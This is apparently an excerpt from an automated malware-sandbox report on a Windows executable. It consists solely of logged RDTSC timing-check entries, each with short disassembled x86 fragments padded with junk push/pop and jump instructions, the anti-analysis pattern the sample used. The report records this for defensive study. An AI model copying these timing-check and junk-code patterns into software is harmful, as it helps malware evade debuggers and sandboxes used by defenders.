Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162EAA4 second address: 162EACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jc 00007F63F87E3376h 0x0000000b jmp 00007F63F87E337Bh 0x00000010 pop edi 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007F63F87E3376h 0x0000001a pop eax 0x0000001b popad 0x0000001c push esi 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162EACA second address: 162EAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16366C0 second address: 16366C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163683E second address: 1636842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1636842 second address: 1636846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1636846 second address: 163685B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F63F87E5456h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163685B second address: 163685F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163685F second address: 1636880 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F63F87E5456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F63F87E5467h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1636AF6 second address: 1636B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F63F87E3382h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1636DD0 second address: 1636DDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637800 second address: 1637806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637806 second address: 1637817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007F63F87E545Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637817 second address: 163783D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F63F87E3378h 0x00000010 jmp 00007F63F87E3384h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163783D second address: 1637848 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F63F87E5456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637ACB second address: 1637ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3380h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637ADF second address: 1637AEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F63F87E5456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637DDE second address: 1637DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1637DE4 second address: 1637DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jnp 00007F63F87E5456h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16380BF second address: 16380C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16380C3 second address: 16380D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 je 00007F63F87E5456h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16380D1 second address: 16380EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E3386h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16380EB second address: 163810D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F63F87E545Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163810D second address: 1638111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163CEFE second address: 163CF10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163CF10 second address: 163CF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E337Fh 0x00000009 jne 00007F63F87E3376h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163CF29 second address: 163CF2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 159A197 second address: 159A19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163FF09 second address: 163FF0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163FF0D second address: 163FF16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163FF16 second address: 163FF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 163FF1C second address: 163FF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F63F87E3388h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1640084 second address: 1640088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1640088 second address: 16400A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F63F87E3387h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16401E8 second address: 16401EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16403A2 second address: 16403D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Fh 0x00000007 jmp 00007F63F87E3383h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F63F87E337Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1585C8C second address: 1585C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1585C90 second address: 1585CA2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F63F87E3376h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1585CA2 second address: 1585CB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1585CB2 second address: 1585CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1585CB6 second address: 1585CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1647B8C second address: 1647B96 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1647FC1 second address: 1647FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1648151 second address: 164816C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F63F87E3376h 0x00000008 jmp 00007F63F87E3381h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16482E7 second address: 1648305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F63F87E5456h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jmp 00007F63F87E5461h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1648305 second address: 164830F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F63F87E3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164830F second address: 1648313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1648313 second address: 1648327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jc 00007F63F87E3376h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1648327 second address: 164833D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F63F87E5468h 0x00000008 jmp 00007F63F87E545Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164833D second address: 1648345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1648345 second address: 1648349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16487AA second address: 16487B4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F63F87E3376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16487B4 second address: 16487C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007F63F87E5482h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164984A second address: 164984E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16504BF second address: 16504C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16504C5 second address: 16504CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16504CE second address: 16504D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164FE7E second address: 164FE84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164FE84 second address: 164FE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164FE88 second address: 164FE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164FFCD second address: 164FFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F63F87E5456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 164FFD7 second address: 164FFE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 165012E second address: 1650132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1650132 second address: 165013E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 165013E second address: 1650143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1650143 second address: 165015C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F63F87E3383h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 165015C second address: 1650160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1657918 second address: 1657924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 165CB77 second address: 165CBE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5469h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F63F87E545Ah 0x00000010 pushad 0x00000011 jmp 00007F63F87E5460h 0x00000016 je 00007F63F87E5456h 0x0000001c push eax 0x0000001d pop eax 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jnl 00007F63F87E5462h 0x00000028 jmp 00007F63F87E5469h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 165E73C second address: 165E747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F63F87E3376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1661D60 second address: 1661D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1663AFC second address: 1663B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F63F87E3376h 0x0000000a pop edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16802BD second address: 16802CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 je 00007F63F87E5456h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167ED8A second address: 167EDA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3387h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167EDA5 second address: 167EDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F63F87E545Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F2D3 second address: 167F2EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jnl 00007F63F87E3380h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F5F0 second address: 167F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F5F4 second address: 167F5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F5F8 second address: 167F5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F5FE second address: 167F60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F60B second address: 167F61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F63F87E5456h 0x0000000d jp 00007F63F87E5456h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F61E second address: 167F622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 167F622 second address: 167F628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1685268 second address: 168526E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 168526E second address: 1685278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F63F87E5456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16880DA second address: 16880DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16880DE second address: 1688108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Ah 0x00000007 pushad 0x00000008 jne 00007F63F87E5456h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F63F87E545Ah 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push edi 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c pop ecx 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1688108 second address: 168810E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16C547E second address: 16C549C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007F63F87E5462h 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16C6CC3 second address: 16C6CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC62 second address: 16CCC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC66 second address: 16CCC6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC6C second address: 16CCC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC77 second address: 16CCC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC7B second address: 16CCC8C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F63F87E5456h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC8C second address: 16CCC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F63F87E3376h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCC9B second address: 16CCC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCB0D second address: 16CCB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCB13 second address: 16CCB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
